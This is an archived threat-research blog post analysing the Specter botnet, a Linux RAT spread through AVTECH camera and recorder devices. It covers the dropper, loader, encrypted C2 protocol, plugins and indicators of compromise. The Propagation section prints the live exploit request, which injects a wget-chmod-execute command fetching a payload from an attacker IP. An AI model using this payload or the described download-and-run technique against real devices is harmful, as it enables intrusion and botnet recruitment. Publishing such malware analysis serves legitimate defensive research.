<!DOCTYPE html>
<html lang="en">
<head>

    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />

    <title>Ghost in action: the Specter botnet</title>
    <meta name="HandheldFriendly" content="True" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />

    <link rel="stylesheet" type="text/css" href="/assets/built/screen.css?v=a1b70de19f" />

    <link rel="shortcut icon" href="/favicon.png" type="image/png" />
    <link rel="canonical" href="https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/" />
    <meta name="referrer" content="no-referrer-when-downgrade" />
    <link rel="amphtml" href="https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/amp/" />
    
    <meta property="og:site_name" content="360 Netlab Blog - Network Security Research Lab at 360" />
    <meta property="og:type" content="article" />
    <meta property="og:title" content="Ghost in action: the Specter botnet" />
    <meta property="og:description" content="Background
On August 20, 2020, 360Netlab Threat Detect System captured a suspicious ELF
file (22523419f0404d628d02876e69458fbe.css)with 0 VT detection.

When we took a close look, we see a new botnet that targets AVTECH IP Camera /
NVR / DVR devices, and it has flexible configuration, highly modular / plugin,
and uses TLS, ChaCha20, Lz4 to encrypt and compress network traffic.

The ELF we captured is Dropper, it releases a loader, and the loader will send
encrypted traffic requests various Plugi" />
    <meta property="og:url" content="https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/" />
    <meta property="article:published_time" content="2020-09-25T13:38:00.000Z" />
    <meta property="article:modified_time" content="2020-09-26T11:28:02.000Z" />
    <meta property="article:tag" content="Botnet" />
    <meta property="article:tag" content="RAT" />
    <meta property="article:tag" content="chacha20" />
    
    <meta name="twitter:card" content="summary" />
    <meta name="twitter:title" content="Ghost in action: the Specter botnet" />
    <meta name="twitter:description" content="Background
On August 20, 2020, 360Netlab Threat Detect System captured a suspicious ELF
file (22523419f0404d628d02876e69458fbe.css)with 0 VT detection.

When we took a close look, we see a new botnet that targets AVTECH IP Camera /
NVR / DVR devices, and it has flexible configuration, highly modular / plugin,
and uses TLS, ChaCha20, Lz4 to encrypt and compress network traffic.

The ELF we captured is Dropper, it releases a loader, and the loader will send
encrypted traffic requests various Plugi" />
    <meta name="twitter:url" content="https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/" />
    <meta name="twitter:label1" content="Written by" />
    <meta name="twitter:data1" content="Alex.Turing" />
    <meta name="twitter:label2" content="Filed under" />
    <meta name="twitter:data2" content="Botnet, RAT, chacha20" />
    <meta name="twitter:site" content="@360Netlab" />
    <meta name="twitter:creator" content="@TuringAlex" />
    
    <script type="application/ld+json">
{
    "@context": "https://schema.org",
    "@type": "Article",
    "publisher": {
        "@type": "Organization",
        "name": "360 Netlab Blog - Network Security Research Lab at 360",
        "logo": "https://blog.netlab.360.com/content/images/2019/02/netlab-brand-5.png"
    },
    "author": {
        "@type": "Person",
        "name": "Alex.Turing",
        "image": {
            "@type": "ImageObject",
            "url": "https://blog.netlab.360.com/content/images/2019/06/turing.PNG",
            "width": 1363,
            "height": 1363
        },
        "url": "https://blog.netlab.360.com/author/alex/",
        "sameAs": [
            "https://twitter.com/TuringAlex"
        ]
    },
    "headline": "Ghost in action: the Specter botnet",
    "url": "https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/",
    "datePublished": "2020-09-25T13:38:00.000Z",
    "dateModified": "2020-09-26T11:28:02.000Z",
    "keywords": "Botnet, RAT, chacha20",
    "description": "Background\nOn August 20, 2020, 360Netlab Threat Detect System captured a suspicious ELF\nfile (22523419f0404d628d02876e69458fbe.css)with 0 VT detection.\n\nWhen we took a close look, we see a new botnet that targets AVTECH IP Camera /\nNVR / DVR devices, and it has flexible configuration, highly modular / plugin,\nand uses TLS, ChaCha20, Lz4 to encrypt and compress network traffic.\n\nThe ELF we captured is Dropper, it releases a loader, and the loader will send\nencrypted traffic requests various Plugi",
    "mainEntityOfPage": {
        "@type": "WebPage",
        "@id": "https://blog.netlab.360.com/"
    }
}
    </script>

    <script src="/public/ghost-sdk.min.js?v=a1b70de19f"></script>
<script>
ghost.init({
	clientId: "ghost-frontend",
	clientSecret: "2a7213b591a9"
});
</script>
    <meta name="generator" content="Ghost 2.13" />
    <link rel="alternate" type="application/rss+xml" title="360 Netlab Blog - Network Security Research Lab at 360" href="https://blog.netlab.360.com/rss/" />
    
<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-83587830-1', 'auto');
  ga('send', 'pageview');

</script>

<!-- Fix first paragraph font size -->
<style type="text/css">
 .post-template .post-content > p:first-child {font-size: 1em;}
</style>

</head>
<body class="post-template tag-botnet tag-rat tag-chacha20">

    <div class="site-wrapper">

             <header
    class="site-header outer">
    <div class="inner">
        <nav class="site-nav">
    <div class="site-nav-left">
                <a class="site-nav-logo" href="https://blog.netlab.360.com"><img src="https://blog.netlab.360.com/content/images/2019/02/netlab-brand-5.png" alt="360 Netlab Blog - Network Security Research Lab at 360" /></a>
            <ul class="nav" role="menu">
    <li class="nav-botnet" role="menuitem"><a href="https://blog.netlab.360.com/tag/botnet/">Botnet</a></li>
    <li class="nav-dnsmon" role="menuitem"><a href="https://blog.netlab.360.com/tag/dnsmon/">DNSMon</a></li>
    <li class="nav-ddos" role="menuitem"><a href="https://blog.netlab.360.com/tag/ddos/">DDoS</a></li>
    <li class="nav-passivedns" role="menuitem"><a href="https://blog.netlab.360.com/tag/pdns/">PassiveDNS</a></li>
    <li class="nav-mirai" role="menuitem"><a href="https://blog.netlab.360.com/tag/mirai/">Mirai</a></li>
    <li class="nav-dta" role="menuitem"><a href="https://blog.netlab.360.com/tag/dta/">DTA</a></li>
</ul>

    </div>
    <div class="site-nav-right">
        <div class="social-links">
                <a class="social-link social-link-tw" href="https://twitter.com/360Netlab" title="Twitter" target="_blank" rel="noopener"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><path d="M30.063 7.313c-.813 1.125-1.75 2.125-2.875 2.938v.75c0 1.563-.188 3.125-.688 4.625a15.088 15.088 0 0 1-2.063 4.438c-.875 1.438-2 2.688-3.25 3.813a15.015 15.015 0 0 1-4.625 2.563c-1.813.688-3.75 1-5.75 1-3.25 0-6.188-.875-8.875-2.625.438.063.875.125 1.375.125 2.688 0 5.063-.875 7.188-2.5-1.25 0-2.375-.375-3.375-1.125s-1.688-1.688-2.063-2.875c.438.063.813.125 1.125.125.5 0 1-.063 1.5-.25-1.313-.25-2.438-.938-3.313-1.938a5.673 5.673 0 0 1-1.313-3.688v-.063c.813.438 1.688.688 2.625.688a5.228 5.228 0 0 1-1.875-2c-.5-.875-.688-1.813-.688-2.75 0-1.063.25-2.063.75-2.938 1.438 1.75 3.188 3.188 5.25 4.25s4.313 1.688 6.688 1.813a5.579 5.579 0 0 1 1.5-5.438c1.125-1.125 2.5-1.688 4.125-1.688s3.063.625 4.188 1.813a11.48 11.48 0 0 0 3.688-1.375c-.438 1.375-1.313 2.438-2.563 3.188 1.125-.125 2.188-.438 3.313-.875z"/></svg>
</a>
        </div>
            <a class="rss-button" href="https://feedly.com/i/subscription/feed/https://blog.netlab.360.com/rss/" title="RSS" target="_blank" rel="noopener"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><circle cx="6.18" cy="17.82" r="2.18"/><path d="M4 4.44v2.83c7.03 0 12.73 5.7 12.73 12.73h2.83c0-8.59-6.97-15.56-15.56-15.56zm0 5.66v2.83c3.9 0 7.07 3.17 7.07 7.07h2.83c0-5.47-4.43-9.9-9.9-9.9z"/></svg>
</a>
    </div>
</nav>
    </div>
    </header>


    <main id="site-main" class="site-main outer">
        <div class="inner">

            <article class="post-full post tag-botnet tag-rat tag-chacha20 no-image">

                <header class="post-full-header">
                    <section class="post-full-meta">
                        <time class="post-full-meta-date" datetime="2020-09-25">25 September                            2020</time>
                        <span class="date-divider">/</span> <a href="/tag/botnet/">Botnet</a>
                    </section>
                    <h1 class="post-full-title">Ghost in action: the Specter botnet</h1>
                </header>


                <section class="post-full-content">
                    <div class="post-content">
                        <h2 id="background">Background</h2>
<p>On August 20, 2020, 360Netlab Threat Detect System captured a suspicious ELF file (<code>22523419f0404d628d02876e69458fbe.css</code>)with 0 VT detection.</p>
<p>When we took a close look, we see a new botnet that targets <code>AVTECH IP Camera / NVR / DVR devices</code>, and it has flexible configuration, highly modular / plugin, and uses TLS, ChaCha20, Lz4 to encrypt and compress network traffic.</p>
<p>The ELF we captured is Dropper, it releases a loader, and the loader will send encrypted traffic requests various Plugins from C2 to perform different functions. The sample build path is <code>/build/arm-specter-linux-uclibcgnueabi</code>, that is why we named it Specter.</p>
<p>At present, Specter has a lot of <code>unprofessional aspects</code>. For example, it releases two libraries required by runtime while releasing Loader, but they are all dynamically linked.We also noticed  that Plugin does not expand and load directly in memory.<a href="https://www.exploit-db.com/exploits/40500">The vulnerability being targeted is also quite old, a 5 years old on</a>. On the other hand, this botnet has a good layered design, complex network communication and some other characteristics，which is obviously a work of professional. <code>Professional aspects come with unprofessional aspects</code>, this contradiction makes us speculate that Specter is in the test development stage. We will see how it goes in the future.</p>
<h2 id="overview">Overview</h2>
<p>Specter is a remote control Trojan (RAT) for the Linux platform.</p>
<p>It consists of 3 parts, Dropper, Loader, and Plugin. The main function is determined by Loader&amp;Plugin. The main functions of Specter are</p>
<ul>
<li>
<p>File management</p>
</li>
<li>
<p>Download and upload management</p>
</li>
<li>
<p>Shell service</p>
</li>
<li>
<p>Socket5 Proxy</p>
</li>
<li>
<p>Report device information</p>
</li>
<li>
<p>Execute the script issued by C2</p>
</li>
<li>
<p>Executing C2 to deliver executable files</p>
</li>
</ul>
<p>The basic process is shown in the figure below:<br>
<a href="https://blog.netlab.360.com/content/images/2020/09/specter_flow.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_flow.PNG" class="kg-image"></a></p>
<h2 id="propagation">Propagation</h2>
<p>Specter spread its Dropper samples through<a href="https://www.exploit-db.com/exploits/40500">AVTECH IP Camera / NVR / DVR Devices vulnerabilities</a>,The payload being used is as follows:</p>
<pre><code>GET /cgi-bin/nobody/Search.cgi?action=cgi_query&amp;ip=google.com&amp;port=80&amp;queryb64str=Lw==&amp;username=admin%20;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://45.76.70.163:80/style/351f37b2764041759c859202c529aefc.css%20-O%20/tmp/webstatus;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&amp;password=admin HTTP/1.1
Host: {}:4443
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Content-Type: text/plain; charset=utf-8
</code></pre>
<h2 id="sampleanalysis">Sample analysis</h2>
<p>Specter's infection process can be divided into 4 stages.，</p>
<ul>
<li>Stage 0: Preliminary stage, spread through vulnerabilities, implant Dropper on the device</li>
<li>Stage 1: Dropper releases Loader</li>
<li>Stage 2: Loading stage, Loader loads Plugin</li>
<li>Stage 3: Plugin executes the instructions issued by C2</li>
</ul>
<h3 id="stage1stage1releasestagespecter_dropperanalysis">Stage1：Stage1: Release stage, Specter_Dropper analysis</h3>
<p>The main function of the dropper is to detect the operating environment, decrypt the Loader, configure the Config, and finally release and start the Loader.</p>
<blockquote>
<p>MD5:a8400c378950084fc8ab80b8bb4e5b18</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped</p>
<p>Packer:No</p>
</blockquote>
<ul>
<li>
<h4 id="11decryptloader">1.1 Decrypt Loader</h4>
</li>
</ul>
<p>Decryption algorithm:XOR byte by byte <code>0x79</code>, then negate.<br>
<a href="https://blog.netlab.360.com/content/images/2020/09/specter_drop_decode.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_drop_decode.PNG" class="kg-image"></a></p>
<p>Along with the loaders, the runtime library, <code>libc.so.0 and ld-uClibc.so.1</code> are also decrypted.Currently these two libraries have no malicious functions, but we speculate that future versions will hijack some functions of these two libraries to hide the existence of Specter from file, process and networks’ perspectives</p>
<ul>
<li>
<h4 id="12configureconfig">1.2 Configure Config</h4>
</li>
</ul>
<p>Look for the written position mark in the Loader sample <code>SpctCF</code>, and then write Config at its subsequent address.。<br>
<a href="https://blog.netlab.360.com/content/images/2020/09/specter_drop_setconf.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_drop_setconf.PNG" class="kg-image"></a></p>
<p>The comparison is as follows:</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_drop_conf.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_drop_conf.PNG" class="kg-image"></a></p>
<ul>
<li>
<h4 id="13releaseandexecuteloader">1.3 Release and execute Loader</h4>
</li>
</ul>
<p>Release Loader to the<code>/tmp/runtimes/hw_ex_watchdog</code> file and run it, and later on delete itself to clean up the traces of Dropper。</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_drop_run.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_drop_run.PNG" class="kg-image"></a></p>
<h3 id="stage2loadingstagespecter_loaderanalysis">Stage2: Loading stage, Specter_Loader analysis</h3>
<p>The main function of Loader is to decrypt Config, obtain C2 from it, establish encrypted communication with C2, and execute the instructions issued by C2. If there is no Plugin for processing the corresponding instructions, it will request the required Plugin from C2.</p>
<blockquote>
<p>MD5:470a092abd67e25463425b611088b1db</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped</p>
<p>Packer:No</p>
</blockquote>
<ul>
<li>
<h4 id="21decryptconfig">2.1 Decrypt Config</h4>
</li>
</ul>
<p>There are C2, mutex name, nonce and other information in the Config file, ChaCha20 encryption is used, where the key is <code>CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\x00</code> and the number of rounds is <code>15</code>.</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_loader_decode.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_loader_decode.PNG" class="kg-image"></a></p>
<p>The detailed Config structure is shown below:，</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_loader_config.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_loader_config.PNG" class="kg-image"></a></p>
<p>Take the Config in the above figure as an example, the nonce (12 bytes) required for decryption is:</p>
<pre><code>c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70
</code></pre>
<p>The ciphertext is:</p>
<pre><code>94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06 
1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69 
88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B 
33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F 
13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF 
06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA
6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7
</code></pre>
<p>After decryption, we get the following plaintext, we can see that C2 is <code>107.182.186.195</code> and mutex is <code>fb4mi5a</code></p>
<pre><code>00000000  f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22  |ô6ÎW°FÒ.'.¦.þWâ&quot;|
00000010  52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a  |R4.ð@Mb...niE.¾j|
00000020  66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00  |fb4mi5a.........|
00000030  31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03  |107.182.186.195.|
00000040  00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00  |...443..........|
00000050  00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00  |................|
00000060  00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00     |........Z...&lt;..|
</code></pre>
<ul>
<li>
<h4 id="22establishcommunicationwithc2">2.2 Establish communication with C2</h4>
</li>
</ul>
<p>The communication process can be divided into 4 stages, using TLS, ChaCha20 encryption algorithm, lz4 compression algorithm to ensure the security of data communication.The first stage is to establish a TLS connection, the second stage is the process of mutual agreement authentication, the third stage is the Loader reporting device information, and the fourth stage executes the C2 issuing instruction process.</p>
<h6 id="tlscommunication">TLS communication</h6>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_loader_ssl.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_loader_ssl.PNG" class="kg-image"></a></p>
<p>In order to analyze the network traffic, we performed a Man-in-the-middle attack,and can see the result as follows. It can be seen that Specter's network communication packet has a fixed format.</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_loader_commhijack.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_loader_commhijack.PNG" class="kg-image"></a></p>
<p>Packets can be divided into four parts, the detailed structure is shown below:，<br>
<a href="https://blog.netlab.360.com/content/images/2020/09/specter_packet_info.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_packet_info.PNG" class="kg-image"></a></p>
<p>Where <code>Encrypted Payload_info</code> stores the payload verification, length, ID and other info.<code>[Encrypted?]Compressed Payload</code> is the payload itself, the payload will only be compressed during the  key exchange stage, while in all the other stages it gets both encrypted and compressed.</p>
<p>Let’s take a look at the above figure, the data packet that Bot sends to C2 for secret key exchange</p>
<p>The encryption algorithm used in the first part(<code>ncrypted Payload_info</code>) is:</p>
<pre><code>ChaCha20
Key:		36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34 
			61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65
Nonce:		E7 66 29 FB 10 98 F6 5A 80 80 FF 58	
</code></pre>
<p>The ciphertext is:</p>
<pre><code>0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9
</code></pre>
<p>after decryption:</p>
<pre><code>C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00

3EC9		---- CRC16 of Payload
0001		---- Cmd Id
00000022	Compressed Payload length
00000020	Decomressed Payload length
</code></pre>
<p>The value of <code>Cmd Id</code>  is 1, indicating that it is in the key exchange stage, directly decompress <code>[Encrypted?]Compressed Payload</code> and get the key sent by Bot to C2</p>
<pre><code>01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
</code></pre>
<h6 id="authentication">Authentication</h6>
<p>The protocol authentication process can be divided into two stages, the first stage is the key exchange, and the second stage is the mutual recognition of identity.</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_loader_commfst.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_loader_commfst.PNG" class="kg-image"></a></p>
<p>According to the data packet decryption process introduced above, we will get.</p>
<p>The secret key sent by Bot to C2 is:</p>
<pre><code>01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
</code></pre>
<p>The secret key sent by C2 to Bot is:</p>
<pre><code>19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33
96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C
</code></pre>
<p>In the secret key exchange phase, the payload is only compressed without encryption; after the secret key is exchanged, Bot and C2 encrypt and compress the payload with each other's secret key.</p>
<p>It can be solved with the above secret key.</p>
<p>The authentication information sent by Bot to C2 is:</p>
<pre><code>00000000:  44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39  DHn74sdPOqnSd259
</code></pre>
<p>The authentication information sent by C2 to Bot is:</p>
<pre><code>00000000:  6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34  l0SO8hFUxbVsdtQ4
</code></pre>
<p>This is consistent with the implementation we saw in the sample:<br>
<a href="https://blog.netlab.360.com/content/images/2020/09/specter_packet_proof.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_packet_proof.PNG" class="kg-image"></a></p>
<ul>
<li>
<h4 id="23reportdeviceinformationsuchasmacipaddresssystemtypeetc">2.3 Report device information, such as MAC/IP address, system type, etc.</h4>
</li>
</ul>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_loader_device.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_loader_device.PNG" class="kg-image"></a></p>
<ul>
<li>
<h4 id="24executethestartplugincommandissuedbyc2">2.4 Execute the start Plugin command issued by C2</h4>
</li>
</ul>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_loader_cmd.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_loader_cmd.PNG" class="kg-image"></a></p>
<p>Specter implements a very flexible plugin management communication mechanism, each plugin must implement the following 4 methods,</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_loader_syscall.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_loader_syscall.PNG" class="kg-image"></a><br>
If there is no corresponding Plugin currently, a request is made to C2 and finally dynamically loaded into Loader <code>Plugin Slot</code>.</p>
<h3 id="stage3specter_pluginanalysis">Stage3: Specter_Plugin analysis</h3>
<p>When the bot gets the Plugin issued by C2, it cannot be used directly, because they are encrypted and can only be loaded into the Plugin Slot for use after decryption.<br>
Decryption algorithm: XOR <code>0x7f</code> byte by byte, then negate</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_decode.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_decode.PNG" class="kg-image"></a></p>
<p>Here are some plugins we captured:</p>
<h4 id="shellplugin">Shell plugin</h4>
<blockquote>
<p>Plugin id: 1</p>
<p>c7bf33d159597f55dce31b33a58d52de</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>The main function of Shell plugin is to create SHELL service.</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_shell.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_shell.PNG" class="kg-image"></a></p>
<h4 id="fileplugin">File  plugin</h4>
<blockquote>
<p>Plugin id: 2</p>
<p>e67db6449c18b2e552786df7718a33c8</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>The main function of the File plugin is file management. In addition to supporting read, write, delete, and search operations on file directories, it may also download/upload files from a designated server.</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_file.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_file.PNG" class="kg-image"></a></p>
<h4 id="socketplugin">Socket Plugin</h4>
<blockquote>
<p>Plugin id: 3</p>
<p>45c5e7bcb9987356b53fd9a78543dcda</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>The main function of Socket Plugin is to start Socket5 proxy.</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_socket.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_socket.PNG" class="kg-image"></a></p>
<h4 id="ssfplugin">SSF Plugin</h4>
<blockquote>
<p>Plugin id: 5</p>
<p>da0f9a21ae7ee3d15794946ca74a07e3</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped</p>
</blockquote>
<p>The main function of SSF Plugin is to download an executable file from a specified server to a local <code>/tmp/runtimes/httpd_log_output</code> file, and then execute it.。</p>
<p><a href="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_ssf.PNG"><img src="https://blog.netlab.360.com/content/images/2020/09/specter_plugin_ssf.PNG" class="kg-image"></a></p>
<h2 id="suggestions">Suggestions</h2>
<p>We recommend that readers monitor and block Specter related IP, URL and samples.</p>
<h2 id="">联系我们</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> , WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h2 id="ioc">IoC</h2>
<h4 id="cc">CC</h4>
<pre><code>107.182.186.195:443	ASN25820|IT7_Networks_Inc	United_States|California|Los_Angeles
</code></pre>
<h4 id="samplemd5">Sample MD5</h4>
<pre><code>04c7ef9e4197985d31e5d601a9161c5e
052b6fce24a800259289e2f06163db57
065d942effb6010bb48f7403d3ad442b
0d0bf23412bd34c82ab28e67278519bf
2b89fd69d128c8a28425c512670e531a
2ed27722e095b1c870fdb10e4990db0f
42d341d0b76869abc2231c70d0f0ecc9
5e03c99153ed59546bf60c9f896a30f1
7377eedb6512743858d52da3cc028a33
7c59ddc06da158afc8b514a9a81ffd36
a5ded8b31b17c88302882cccc35cc28f
a8400c378950084fc8ab80b8bb4e5b18
a99563e6711990b9b3f542ae146bd01c
acfa5f547b69bde0bf3f343429594b99
b79639e2b5d10f92ea44721e155fc09b
b9ac3d23faba205f74ebd932d8e370d3
c2126977f9f482f290154ea21719330f
c33b585a0dfa5fdb70d27a17ace6ba1f
c51fc1656aa857bb7226e2df969aa72d
cc1b11c6ac6e5bebc4c0e7502b4e1fcd
cc27d6141f8c66e520122e8f2292a940
eda6d2b0837b5e78ae1b0b50f85e3321
</code></pre>
<h4 id="downloader">Downloader</h4>
<pre><code>http://45.76.70.163:80/style/22523419f0404d628d02876e69458fbe.css
</code></pre>

                    </div>
                </section>


                <footer class="post-full-footer">


                    <section class="post-full-authors">

    <div class="post-full-authors-content">
        <p>This post was a collaboration between</p>
        <p><a href="/author/alex/">Alex.Turing</a>, <a href="/author/huiwang/">Hui Wang</a></p>
    </div>

    <ul class="author-list">
        <li class="author-list-item">

            <div class="author-card">
                <div class="basic-info">
                        <img class="author-profile-image" src="https://blog.netlab.360.com/content/images/size/w100/2019/06/turing.PNG" alt="Alex.Turing" />
                    <h2>Alex.Turing</h2>
                </div>
                <div class="bio">
                        <p>Read <a href="/author/alex/">more posts</a> by this author.</p>
                </div>
            </div>

                <a href="/author/alex/" class="moving-avatar">
                    <img class="author-profile-image" src="https://blog.netlab.360.com/content/images/size/w100/2019/06/turing.PNG" alt="Alex.Turing" />
                </a>

        </li>
        <li class="author-list-item">

            <div class="author-card">
                <div class="basic-info">
                        <img class="author-profile-image" src="https://blog.netlab.360.com/content/images/size/w100/2017/05/WechatIMG1.jpeg" alt="Hui Wang" />
                    <h2>Hui Wang</h2>
                </div>
                <div class="bio">
                        <p>Read <a href="/author/huiwang/">more posts</a> by this author.</p>
                </div>
            </div>

                <a href="/author/huiwang/" class="moving-avatar">
                    <img class="author-profile-image" src="https://blog.netlab.360.com/content/images/size/w100/2017/05/WechatIMG1.jpeg" alt="Hui Wang" />
                </a>

        </li>

    </ul>

</section>


                </footer>

                <div id="disqus_thread"></div>
                <script>
                    var disqus_config = function () {
                        this.page.url = "https://blog.netlab.360.com/ghost-in-action-the-specter-botnet/";
                        this.page.identifier = "ghost-5f6d78c17646030007b2919a"
                    };
                    (function () {
                        var d = document, s = d.createElement('script');
                        s.src = 'https://blog-netlab-360.disqus.com/embed.js';
                        s.setAttribute('data-timestamp', +new Date());
                        (d.head || d.body).appendChild(s);
                    })();
                </script>

            </article>

        </div>
    </main>

    <aside class="read-next outer">
        <div class="inner">
            <div class="read-next-feed">
                <article class="read-next-card"   style="background-image: url(https://blog.netlab.360.com/content/images/size/w600/2019/02/astronomy-constellation-dark-998641-4.jpg)"
                     >
                    <header class="read-next-card-header">
                        <small class="read-next-card-header-sitetitle">&mdash; 360 Netlab Blog - Network Security Research Lab at 360 &mdash;</small>
                        <h3 class="read-next-card-header-title"><a href="/tag/botnet/">Botnet</a></h3>
                    </header>
                    <div class="read-next-divider"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M13 14.5s2 3 5 3 5.5-2.463 5.5-5.5S21 6.5 18 6.5c-5 0-7 11-12 11C2.962 17.5.5 15.037.5 12S3 6.5 6 6.5s4.5 3.5 4.5 3.5"/></svg>
</div>
                    <div class="read-next-card-content">
                        <ul>
                            <li><a href="/b1txor20-use-of-dns-tunneling_en/">New Threat: B1txor20, A Linux Backdoor Using DNS Tunnel</a></li>
                            <li><a href="/b1txor20-use-of-dns-tunneling_cn/">新威胁：使用DNS Tunnel技术的Linux后门B1txor20正在通过Log4j漏洞传播</a></li>
                            <li><a href="/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/">Some details of the DDoS attacks targeting Ukraine and Russia in recent days</a></li>
                        </ul>
                    </div>
                    <footer class="read-next-card-footer">
                        <a href="/tag/botnet/">See all 102 posts →</a>
                    </footer>
                </article>

                <article class="post-card post tag-0-day tag-tenda tag-ttint tag-websocket-over-tls tag-router tag-iot tag-honeypot no-image">


    <div class="post-card-content">

        <a class="post-card-content-link" href="/ttint-an-iot-rat-uses-two-0-days-to-spread/">

            <header class="post-card-header">
                    <span class="post-card-tags">0-day</span>
                <h2 class="post-card-title">Ttint: 一款通过2个0-day漏洞传播的IoT远控木马</h2>
            </header>

            <section class="post-card-excerpt">
